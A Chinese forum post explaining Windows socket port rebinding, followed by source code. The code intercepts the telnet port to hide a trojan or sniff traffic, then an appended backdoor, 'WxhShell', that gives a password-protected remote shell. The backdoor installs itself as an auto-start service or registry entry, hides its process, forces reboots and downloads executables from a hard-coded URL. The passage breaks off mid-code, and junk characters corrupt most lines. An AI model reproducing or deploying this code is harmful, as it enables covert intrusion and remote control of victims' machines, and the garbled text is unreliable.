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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,uEi*s>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); crV2T  
?k$3( -  
  saddr.sin_family = AF_INET; /RLeD  
%G~ f>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); lM1Y }  
Za+26#g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &|t*9 D  
"xS?#^a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gAcXd<a0  
}"?v=9.G  
  这意味着什么?意味着可以进行如下的攻击: O2[uN@nY  
2jQ|4$9j  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #!,tId  
XWQp-H.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) k_)H$*  
({/@=e x*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n:c)R8X]  
tOn_S@/r  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  R:7j`gHJ|9  
$7q'Be@{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S^}@X?v  
2=pVX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 N :E7rtT,M  
pgg4<j_mn  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X( m&  
pVTx# rY  
  #include ]V!q"|  
  #include gie}k)&M  
  #include ?(Dk{-:T'  
  #include    wy3{>A Z(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2+pLDIIT  
  int main() Xrpzc~(  
  { q.L0rY!  
  WORD wVersionRequested; o g.LD7&/  
  DWORD ret; MH{$"^K  
  WSADATA wsaData; !QoOL<(){  
  BOOL val; eJ0PSW/4l  
  SOCKADDR_IN saddr; _aOisN{  
  SOCKADDR_IN scaddr; 0w?\KHT  
  int err; j'lfH6_')e  
  SOCKET s; ;5 W|#{I  
  SOCKET sc; ?A7&SdJaO  
  int caddsize; U[5  
  HANDLE mt; W2Y%PD9a  
  DWORD tid;   3rX5haD\  
  wVersionRequested = MAKEWORD( 2, 2 ); &E.ckWf  
  err = WSAStartup( wVersionRequested, &wsaData ); xmz83Ll9  
  if ( err != 0 ) { U[9`:aV;  
  printf("error!WSAStartup failed!\n"); M|e Qds  
  return -1; ^` N+mlh  
  } @A(*&PU>j  
  saddr.sin_family = AF_INET; 4}sfJ0HhX  
   (7w`BR9B  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &-#!]T-P:E  
aNgaV$|2a  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3QSP](W-(  
  saddr.sin_port = htons(23); _uL{@(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mjUln8Jc  
  { l v]TE"  
  printf("error!socket failed!\n"); =\Td~>  
  return -1; der'<Q.U:k  
  } ?<c)r~9]  
  val = TRUE; omQa N#!,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L 1=HD  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E!;giPq*n  
  { zSMN k AM  
  printf("error!setsockopt failed!\n"); 4R-Y9:^t  
  return -1; /I|.^ Id|  
  } Y3G$(+i8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )`?Es8uW  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B:dk>$>uQ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jt-Cy  
NqcmjHvy  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;pu68N(B  
  { K:&FWl.  
  ret=GetLastError(); #@xSR:m  
  printf("error!bind failed!\n"); ]nE_(*w  
  return -1; "4N%I  
  } Ek\f x*Lz  
  listen(s,2); MJ^NRT0?b  
  while(1) 5m2(7FC%su  
  { $#ks`$v M  
  caddsize = sizeof(scaddr); kb<Nuw  
  //接受连接请求 vaQZ1a,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); OH~X~n-Z  
  if(sc!=INVALID_SOCKET) K$_Rno"  
  { ~I<yN`5(a  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |eT?XT<=o  
  if(mt==NULL) ct='Z E  
  { 3\FPW1$i|[  
  printf("Thread Creat Failed!\n"); ])paU8u  
  break; ~@=:I  
  } G4g <PFx  
  } '@'~_BBZP  
  CloseHandle(mt); Qo+_:N  
  } pC,MiV$c"  
  closesocket(s); Rfh#JO@%[  
  WSACleanup(); _urv We  
  return 0; <]I[|4J 7  
  }   pQr `$:ga  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6b+\2-eq  
  { ?CGbnXZ4Ug  
  SOCKET ss = (SOCKET)lpParam; 4~-"k{Xt  
  SOCKET sc; \eD#s  
  unsigned char buf[4096]; Q: ?]:i/*  
  SOCKADDR_IN saddr; <V)T_  
  long num; X}b%gblx  
  DWORD val; ]F5?>du@~  
  DWORD ret; ~5$V8yfx h  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3DRbCKNL  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B6~a `~"  
  saddr.sin_family = AF_INET; 7m0sF<P{g  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); F-Mf~+=Dn  
  saddr.sin_port = htons(23); !J ")TP=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *IWO ,!  
  { N}x \Ll  
  printf("error!socket failed!\n"); u )+;(Vd  
  return -1; FNlzpCT~L  
  } yiyyw,iy  
  val = 100; C;2!c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $ hwJjSZ0  
  { ?2hoY  
  ret = GetLastError(); [/ uqH  
  return -1; <)c/PI[j  
  } %RA8M- d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aRg/oA4}  
  { 4$9WJ ~V{  
  ret = GetLastError(); O~yPe.  
  return -1; Lf_`8Ux  
  } A-<\?13uW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) YCod\}3  
  { HNN,1MN  
  printf("error!socket connect failed!\n"); Sz4YP l  
  closesocket(sc); 2Jo'!|]  
  closesocket(ss); fiA_6  
  return -1; 6jjmrc[#}X  
  } B3[;}8u>  
  while(1) fR<_4L  
  { 4:<74B  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3]DUUXg$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 R}lS@w1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 AcV 2l  
  num = recv(ss,buf,4096,0); 9`kxyh</  
  if(num>0) 3'WJx=0?  
  send(sc,buf,num,0);  m~"<k d  
  else if(num==0) ig Fz~  
  break; <PL94  
  num = recv(sc,buf,4096,0); V+My]9ki  
  if(num>0) #7/;d=  
  send(ss,buf,num,0); 0<"4W:  
  else if(num==0) 7i?"akr4  
  break; lA}(63j+b  
  } \k\ {S2SU  
  closesocket(ss); Htd-E^/  
  closesocket(sc); !}7FC>Cx  
  return 0 ; 0LX;Vvo  
  } *aF#on{  
?HT+| !4p  
?B> { rj  
========================================================== $<R\|_6J  
AA[(rw  
下边附上一个代码,,WXhSHELL fWo}gH~  
e<wA["^  
========================================================== R7%' v Zk  
,S(^r1R   
#include "stdafx.h" ;{mKt%#  
Q;A1&UA2  
#include <stdio.h> r}>8FE9S'H  
#include <string.h> -Lh\]  
#include <windows.h> 4cC  
#include <winsock2.h> nn'a` N  
#include <winsvc.h> /'KCW_Q  
#include <urlmon.h> 8w-2Q  
/[ _aw&W}Z  
#pragma comment (lib, "Ws2_32.lib") ;MH((M/AN  
#pragma comment (lib, "urlmon.lib") >2Z0XEe  
fyYHwG  
#define MAX_USER   100 // 最大客户端连接数 -|s w\Q  
#define BUF_SOCK   200 // sock buffer h"h3SD~  
#define KEY_BUFF   255 // 输入 buffer kpT>xS^6<  
7wKN  
#define REBOOT     0   // 重启 uL!QeY>k\  
#define SHUTDOWN   1   // 关机 1Pya\To,m  
zx<:1nF,]  
#define DEF_PORT   5000 // 监听端口 SrlTwcD  
p5RnFe l  
#define REG_LEN     16   // 注册表键长度 ]B8`b  
#define SVC_LEN     80   // NT服务名长度 3$<u3Zi6  
']Q4SB"q  
// 从dll定义API T!-*;yu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }le}Vuy\s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pxf(C<y6_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )Z4ilpU,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Uk@du7P1k  
%x}iEqkU  
// wxhshell配置信息 5UWj#|t  
struct WSCFG { =rL%P~0wq  
  int ws_port;         // 监听端口 R-2NJ0F7  
  char ws_passstr[REG_LEN]; // 口令  kwI[BF  
  int ws_autoins;       // 安装标记, 1=yes 0=no c5 ^CWk K  
  char ws_regname[REG_LEN]; // 注册表键名 q!L@9&KAQ  
  char ws_svcname[REG_LEN]; // 服务名 =@e3I)D#?i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a^{"E8j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V47z;oMXct  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &TgS$c5k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mVaWbR@HS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "Zh3,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kZb #k#  
c{"=p8F_  
}; '{>R-}o[3  
#uRj9|E7  
// default Wxhshell configuration != uaB.  
struct WSCFG wscfg={DEF_PORT, + *xi&|%  
    "xuhuanlingzhe", >O;V[H2[  
    1, $O'IbA  
    "Wxhshell", qV$\E=%fhM  
    "Wxhshell", 4D'AAr57  
            "WxhShell Service", }Qu kn  
    "Wrsky Windows CmdShell Service", PTS dW~3  
    "Please Input Your Password: ", gZf8/Tp\z  
  1,  cFD3  
  "http://www.wrsky.com/wxhshell.exe", }srmG|@:  
  "Wxhshell.exe" Y5fz_ [("  
    }; e 48N[p  
-P6Z[ V%  
// 消息定义模块 -~_[2u^3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1m~-q4D)V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <q`'[1Y4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [d?tf  
char *msg_ws_ext="\n\rExit."; v\Y8+dD  
char *msg_ws_end="\n\rQuit."; N^Hj%5  
char *msg_ws_boot="\n\rReboot..."; #c%F pR4  
char *msg_ws_poff="\n\rShutdown..."; : L+%5Jq  
char *msg_ws_down="\n\rSave to "; >vPv 4e7&3  
iSP}kM}  
char *msg_ws_err="\n\rErr!"; cjp~I/U  
char *msg_ws_ok="\n\rOK!"; p![UOI"W  
;5 p;i 8m  
char ExeFile[MAX_PATH]; H~NK:qRzK  
int nUser = 0; JP,yRb\  
HANDLE handles[MAX_USER]; R>D[I.  
int OsIsNt; po!bRk[4  
OLZs}N+;]  
SERVICE_STATUS       serviceStatus; egmNX't6f5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ie]k/qw+Y  
WYN0,rv1:+  
// 函数声明 XW.k%H4@  
int Install(void); ]iY O}JuX  
int Uninstall(void); LC, 6hpmh  
int DownloadFile(char *sURL, SOCKET wsh); [G",Yky  
int Boot(int flag); k`((6  
void HideProc(void); -A,UqEt  
int GetOsVer(void); /.WIED}>  
int Wxhshell(SOCKET wsl); 5AK@e|G$w  
void TalkWithClient(void *cs); ,m Nd#  
int CmdShell(SOCKET sock); &n'@L9v81  
int StartFromService(void); /|p\l"  
int StartWxhshell(LPSTR lpCmdLine); TWM^5 L:U  
f>iDq C4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f hjlt#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xOx=Z\ c  
Z*+y?5+L"P  
// 数据结构和表定义 N*f ]NCSi  
SERVICE_TABLE_ENTRY DispatchTable[] = ti^=aB   
{ -W{ !`<8D  
{wscfg.ws_svcname, NTServiceMain}, 9tWpxrig%  
{NULL, NULL} t2Px?S?  
}; -(},%!-_  
:*ZijN*{)$  
// 自我安装 AqAL)`#K  
int Install(void) {%\@Z-9%q,  
{ +NJIi@  
  char svExeFile[MAX_PATH]; ?_B'#,tI  
  HKEY key; i#aKW'  
  strcpy(svExeFile,ExeFile); ^#t6/fY.#  
 }}Zg/(  
// 如果是win9x系统,修改注册表设为自启动 &Oc `|r*  
if(!OsIsNt) { `GSl}A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5,pEJ>dDD3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'ka}x~EF  
  RegCloseKey(key); I Z|EPzS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8!b>[Nsc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RBfzti6  
  RegCloseKey(key); /BN=Kl]  
  return 0; J/QqwoR  
    } DL#y_;#3_  
  } /#z"c]#  
} ->*~e~T  
else { )gD2wk(  
*&tTiv{^  
// 如果是NT以上系统,安装为系统服务 O)ose?Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *+k yuY J  
if (schSCManager!=0) oJ tmd}  
{ nly}ly Q/  
  SC_HANDLE schService = CreateService p({Lp}'  
  ( =4sx(<  
  schSCManager, 0Y'ow=8M  
  wscfg.ws_svcname, F-F1^$]k  
  wscfg.ws_svcdisp, ;Ea8>  
  SERVICE_ALL_ACCESS, /6F\]JwU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;n.h!wmJ}  
  SERVICE_AUTO_START, F vTswM>  
  SERVICE_ERROR_NORMAL, "bB0$>0,  
  svExeFile, E,dUO;  
  NULL, ;<GK{8  
  NULL, $=X>5B  
  NULL, #|3,DZ|)F  
  NULL, XwfR/4  
  NULL c[V.j+Iy#^  
  ); tqCwbi  
  if (schService!=0) ll[&O4.F  
  { O)DAYBv^  
  CloseServiceHandle(schService); Z4:^#98c.  
  CloseServiceHandle(schSCManager); CbXSJDs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8GRB6-.h  
  strcat(svExeFile,wscfg.ws_svcname); L7nG5i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >$yA ,N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?Q$a@)x#  
  RegCloseKey(key); IlwHHt;njp  
  return 0; ..k8HFz>"  
    } jse!EtB:  
  } 4<vi@,s  
  CloseServiceHandle(schSCManager); Q1{9>NI  
} ]d~{8h!G  
} Vugb;5Vl  
v,8Q9<=O  
return 1; @v:Eh  
} 19-V;F@;  
xX9snSGz  
// 自我卸载 fP6.  
int Uninstall(void) ycwkF$7  
{ #0Uz1[  
  HKEY key; Ryygq,>VD.  
]T&d_~l   
if(!OsIsNt) { 2`%a[t@M.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6|{&7=1t  
  RegDeleteValue(key,wscfg.ws_regname); KF5r?|8 M  
  RegCloseKey(key); qJf\,7mi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BjsTHS&  
  RegDeleteValue(key,wscfg.ws_regname);  ^u#iz  
  RegCloseKey(key); [)dIt@Y&j  
  return 0; tZVs0eVF<  
  } C^5 V  
} U 8p %MFD  
} hQ!59  
else { >dJ~  
'ey62-^r6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~ iQBgd@D^  
if (schSCManager!=0) !4FOX>|L@  
{ f [.'V1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _uL[ Z  
  if (schService!=0) &zJ\D`\,O  
  { r\FZ-gk}Q  
  if(DeleteService(schService)!=0) { ,!GoFu  
  CloseServiceHandle(schService); =J]EVD   
  CloseServiceHandle(schSCManager); ?G!~&  
  return 0; A>e-eD xi  
  } 4\p%|G^hU  
  CloseServiceHandle(schService); ?*yB&(a:8  
  } .T ,HtHe  
  CloseServiceHandle(schSCManager); m"n" 1;o=  
} I1l^0@J   
} q# Q%p+  
W[qy4\.B  
return 1; e57R6g)4  
} 5 r_Z3/%  
9wGsHf8]  
// 从指定url下载文件 d!}oS<6  
int DownloadFile(char *sURL, SOCKET wsh) )ZBNw{nh  
{ QT73=>^B  
  HRESULT hr; &7>]# *  
char seps[]= "/"; :).NA ]  
char *token; _j3rs97@|  
char *file; 2 'D,1F  
char myURL[MAX_PATH]; 44B D2`nF  
char myFILE[MAX_PATH]; $F9w0kz:,*  
}o7-3!{L!  
strcpy(myURL,sURL); Im!b-1  
  token=strtok(myURL,seps); ;~djbo0,X  
  while(token!=NULL) ~o|sma5.  
  { z~tdLtcX  
    file=token; 1%R${Qhr  
  token=strtok(NULL,seps); S;gy:n!t  
  } vV$^`WY4  
y6-P6T  
GetCurrentDirectory(MAX_PATH,myFILE); w+)wrJTtm  
strcat(myFILE, "\\"); pX*E(Q)@!  
strcat(myFILE, file); pc@mQI  
  send(wsh,myFILE,strlen(myFILE),0); a9.255  
send(wsh,"...",3,0); UR=s=G|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?I? ~BWu  
  if(hr==S_OK) L;?F^RK{U  
return 0; K@%T5M4j  
else %mU$]^Tw(  
return 1; P]y{3y:XxM  
@lWNSf  
} s-'~t#h  
IDw`k[k  
// 系统电源模块 Qt{V&Z7  
int Boot(int flag) }qoId3iY!7  
{ ~"vS$>+  
  HANDLE hToken; 9I [:#,zdf  
  TOKEN_PRIVILEGES tkp; ohyq/u+y~A  
(jhi<eV  
  if(OsIsNt) { `MCtm(<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0F![<5X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4guR8 elM  
    tkp.PrivilegeCount = 1; O43"-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ')yYpWO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oq,nfUA  
if(flag==REBOOT) { u$zRm(!RB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7A'E+>1d  
  return 0; ):Z #!O<  
} 8%YyxoCH  
else { _unoDoB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \n WbGS(  
  return 0; a'Odw2Q_  
} nsXG@CS:  
  } O`%F{&;29  
  else { Ja 5od  
if(flag==REBOOT) { jVOq/o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +HWFoK  
  return 0;  !O`j  
} FW;}S9u3  
else { \4j_K*V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m{Uh{G$  
  return 0; 0g=vMLi  
} ;r6YIS4@  
} yX{7<\x   
J@<f*  
return 1; L;vglS=l;  
} sUmpf4/  
SEg{Gso9b  
// win9x进程隐藏模块 T|h!06   
void HideProc(void) hS &H*  
{ ecH7")  
ZBx,'ph}4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '~f*O0_  
  if ( hKernel != NULL ) xW9R -J \W  
  { KQ6][2-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VyYrL]OrA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h:C:opa-=  
    FreeLibrary(hKernel); {E)tzBI;^  
  } RL]$"  
+lFBH(o]X  
return; ;g+fY 6  
} 5eF tcK  
dQ_'8 )  
// 获取操作系统版本 ;ZcwgsxTM  
int GetOsVer(void) <6hs<qXqi  
{ QqW N7y_9  
  OSVERSIONINFO winfo; ,aP5)ZN-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }uaFmXy3  
  GetVersionEx(&winfo); U61 LMH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7.2!g}E  
  return 1; wouk~>Jft  
  else vlDA/( &  
  return 0; (;9fkqm%m  
} !nsr( 7X2  
fwzyCbks  
// 客户端句柄模块 /FW$)w2{j  
int Wxhshell(SOCKET wsl) )w&|VvM )L  
{ y/_=  
  SOCKET wsh; Kc1w[EQ  
  struct sockaddr_in client; r]QeP{  
  DWORD myID; 6MU;9|&  
Td7Q%7p:  
  while(nUser<MAX_USER) 'zMmJl}\vd  
{ Y4,p_6aKJ]  
  int nSize=sizeof(client); Vi'7m3&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (8o;Cm  
  if(wsh==INVALID_SOCKET) return 1; /Hm/%os  
F>[^m Xw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eDNY|}$}v  
if(handles[nUser]==0) t)k;5B`> &  
  closesocket(wsh); efHCPj  
else i^ILo,Q  
  nUser++; k@n L(2  
  } gr.G']9lNq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =Bh,>Kg  
} MP_  
  return 0; l_+q a6C*  
} ;r]! qv:  
0CX9tr2J  
// 关闭 socket AtAu$"ue  
void CloseIt(SOCKET wsh) o ?.VW/"  
{ !>K=@9NC|.  
closesocket(wsh); |Df`Aq(eYJ  
nUser--; ^$oEM0h  
ExitThread(0); yC|odX#  
} d=\\ik8  
* "?,.  
// 客户端请求句柄 YVz,P_\(m  
void TalkWithClient(void *cs) u^VQwu6?G  
{ %JA^b5''  
6BXZGE  
  SOCKET wsh=(SOCKET)cs; Nlc3S+$`z  
  char pwd[SVC_LEN]; EF 8rh  
  char cmd[KEY_BUFF]; ;\/ RgN  
char chr[1]; nvodP"iV  
int i,j; 5g9K|-  
8<E U|/O  
  while (nUser < MAX_USER) { ~"R;p}5 "  
poi39B/Vt  
if(wscfg.ws_passstr) { "*d%el\63  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -b  )~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); akgvV~5  
  //ZeroMemory(pwd,KEY_BUFF); v?DA>  
      i=0;  10_@'N  
  while(i<SVC_LEN) { 2)q$HUIX  
nqcD#HUv  
  // 设置超时 GN|xd+O_  
  fd_set FdRead; 86Xf6Ea  
  struct timeval TimeOut; P&Hhq>@Z  
  FD_ZERO(&FdRead); >+ Im:fD  
  FD_SET(wsh,&FdRead); h61BIc@>  
  TimeOut.tv_sec=8; 9\6ZdnEKu,  
  TimeOut.tv_usec=0; ITU6Eq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P[Id[}5Pw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [Ue"#w  
RUV:   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P"+K'B7K3  
  pwd=chr[0]; $n<X'7@0  
  if(chr[0]==0xd || chr[0]==0xa) { o{K#LP  
  pwd=0; Z&J.8A]L  
  break; lhFv2.qR  
  } Ar[$%  
  i++; gBy7 q09r  
    } yd`f<Hr<m  
0tN/P+!|  
  // 如果是非法用户,关闭 socket p+{*&Hm5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]y/!GFQ  
} Eg]tDPN1  
<cR]-Yr~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1Qo2Z;h@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W}>wRy  
/q6 ^.>b  
while(1) { 0BHSeO,  
qMmhmH)Gp  
  ZeroMemory(cmd,KEY_BUFF); 7|pF (sb0  
.h>tef  
      // 自动支持客户端 telnet标准   ]1i1_AR'`  
  j=0; N51RBA  
  while(j<KEY_BUFF) { /AUXO]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !" 7ip9a  
  cmd[j]=chr[0]; (n~GKcA  
  if(chr[0]==0xa || chr[0]==0xd) { %0^taA  
  cmd[j]=0; ;{Su:Ixg  
  break; DTSK*a`  
  } 3h>5 6{P  
  j++; "_36WX  
    } t(.xEl;Ma  
; Uf]-uS  
  // 下载文件 YWUCrnr  
  if(strstr(cmd,"http://")) { '/H+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5o R/Q|^  
  if(DownloadFile(cmd,wsh)) 'hH3d"a^=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9~C$C  
  else dQH9NsV7g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p7d[)* L>C  
  } ^bDh[O  
  else { > z1q\cz  
fp2.2 @[  
    switch(cmd[0]) { VsMTzGr  
  )M(-EDL>Qk  
  // 帮助 BjyGk+A   
  case '?': { kc&MO`2 W\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C@Fk  
    break; zd+<1R;  
  } is [p7-  
  // 安装 9H4NvB{  
  case 'i': { fu6Ir,  
    if(Install()) =]yzy:~ey  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1'>wrGr  
    else )kiC/Y}k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3BWYSJ|  
    break; AUvUk<a  
    } ekx~svcC&A  
  // 卸载 QCvz|)  
  case 'r': { %RF9R"t$  
    if(Uninstall()) U4hFPK<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8KU5x#  
    else +)eI8o0#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nn%[J+F  
    break; _9Zwg+oO[  
    } Z_qOQ%l  
  // 显示 wxhshell 所在路径 *[^[!'kT&  
  case 'p': { & NO:S  
    char svExeFile[MAX_PATH]; jR CG}'  
    strcpy(svExeFile,"\n\r"); 4)XZ'~|  
      strcat(svExeFile,ExeFile); N-O"y3W}  
        send(wsh,svExeFile,strlen(svExeFile),0); "}(g3Iy  
    break; 93aRWEu3  
    } Z*Fxr;)d  
  // 重启 ' *6S0zt  
  case 'b': { ..g?po  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e0ea2 2  
    if(Boot(REBOOT)) L6-zQztn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2MapB*  
    else { x8]5> G8(r  
    closesocket(wsh); 18xT2f  
    ExitThread(0); L(bYG0ZI5C  
    } ~T_4M  
    break; iVg3=R)[1  
    } nYc8+5CcK'  
  // 关机 TzJp3  
  case 'd': { fi6i{(K  
